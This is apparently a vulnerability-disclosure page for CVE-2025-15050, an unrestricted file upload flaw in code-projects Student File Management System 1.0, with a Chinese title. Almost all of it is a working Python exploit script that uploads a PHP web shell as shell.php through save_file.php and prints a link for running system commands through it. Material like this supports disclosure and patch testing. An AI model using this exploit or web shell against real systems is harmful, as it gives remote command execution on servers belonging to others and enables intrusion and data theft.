CVE-2025-15050: code-projects Student File Management System 1.0 任意文件上传漏洞

import requests import sys def exploit_cve_2025_15050(target_url): """ CVE-2025-15050 PoC - Student File Management System Unrestricted File Upload """ upload_url = f"{target_url}/save_file.php" # 恶意PHP文件内容 payload = '<?php system($_GET["cmd"]); ?>' files = { "File": ("shell.php", payload, "application/x-php") } try: response = requests.post(upload_url, files=files) if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Access shell at: {target_url}/uploads/shell.php?cmd=whoami") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_url>") sys.exit(1) exploit_cve_2025_15050(sys.argv[1])